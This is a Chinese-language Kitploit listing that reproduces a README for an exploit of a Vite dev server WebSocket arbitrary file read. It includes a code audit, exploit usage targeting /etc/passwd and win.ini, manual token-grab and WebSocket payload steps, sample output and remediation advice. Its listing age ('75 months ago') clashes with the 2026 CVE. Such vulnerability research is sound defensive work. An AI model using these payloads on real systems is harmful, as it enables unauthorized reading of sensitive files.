Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/firebasky/cve-2026-39363
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

针对 CVE-2026-39363 的漏洞利用,这是一个 Vite Dev Server WebSocket 任意文件读取漏洞,包含用于自动化利用的 Python 和 Node.js 脚本以及手动步骤。

查看仓库
75个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39363

Vite Dev Server WebSocket Arbitrary File Read Vulnerability

漏洞概述

属性信息
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
漏洞类型Arbitrary File Read (任意文件读取)
影响组件Vite Dev Server
影响版本Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
CVSS 评分High
修复版本Vite >= 6.2.3

漏洞原理

核心问题

Vite Dev Server 的 WebSocket fetchModule RPC 调用存在安全检查绕过漏洞。

代码审计

漏洞代码位置: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // 关键漏洞点:当 URL 是 file:// 或没有 importer 时
  // 直接调用 resolveId,没有进行 isFileServingAllowed 检查!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...继续处理并返回文件内容
}

请求路径对比

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    HTTP 请求路径 (有安全检查)                     │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (检查 server.fs.allow)                                         │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  WebSocket 请求路径 (绕过检查)                    │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> 直接 resolveId                   │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> 取决于 fs.allow 配置               │
│         │                                                       │
│         ▼                                                       │
│  成功返回文件内容 (如果 fs.allow 允许)                           │
└─────────────────────────────────────────────────────────────────┘

关键发现

  1. HTTP 路径: 经过 ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed 多层检查

  2. WebSocket 路径:

    • fetchModule 函数没有调用 isFileServingAllowed
    • 第二道防线 loadAndTransform 中的 isFileLoadingAllowed 仍然生效
    • 但如果 server.fs.allow 配置宽松,可读取任意文件

利用条件

  1. Vite Dev Server 暴露在网络上(如使用 --host)
  2. server.fs.allow 配置宽松:
    • fs.allow: ['..'] - 可读取上级目录
    • fs.allow: ['C:/'] - 可读取整个 C 盘
    • fs.strict: false - 完全无限制
  3. 可获取 wsToken(通过访问 /@vite/client)

环境搭建

root@kitploit:~
# 克隆仓库
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# 安装依赖
npm install

# 启动 Vite Dev Server(使用宽松配置演示漏洞)
npm run dev

漏洞利用

方法一:使用 Python 脚本

root@kitploit:~
# 基本用法(自动检测端口)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# 读取项目外文件
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# 指定 token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

方法二:使用 Node.js POC

root@kitploit:~
# 获取 wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# 运行 POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

手动利用步骤

  1. 获取 WebSocket Token:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. WebSocket 连接:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. 发送 payload:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

演示效果

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

文件结构

root@kitploit:~
CVE-2026-39363/
├── README.md           # 漏洞分析文档
├── exp.py              # Python exploit 脚本
├── poc.js              # Node.js POC
├── vite.config.js      # Vite 配置文件(演示用)
├── package.json        # 项目配置
├── src/                # 源代码目录
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # 静态资源
└── index.html          # 入口 HTML

修复建议

1. 升级 Vite

root@kitploit:~
npm update vite
# 或
npm install vite@latest

2. 限制 server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // 只允许项目根目录
    }
  }
})

3. 不要暴露 Dev Server

  • 生产环境不要运行 Dev Server
  • 避免使用 --host 暴露服务
  • 使用防火墙限制访问

参考资料

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

免责声明

本项目仅供安全研究和教育目的使用。请勿将此漏洞利用代码用于任何非法活动。使用本代码进行测试前,请确保您已获得目标系统所有者的明确授权。

License

MIT License

下载工具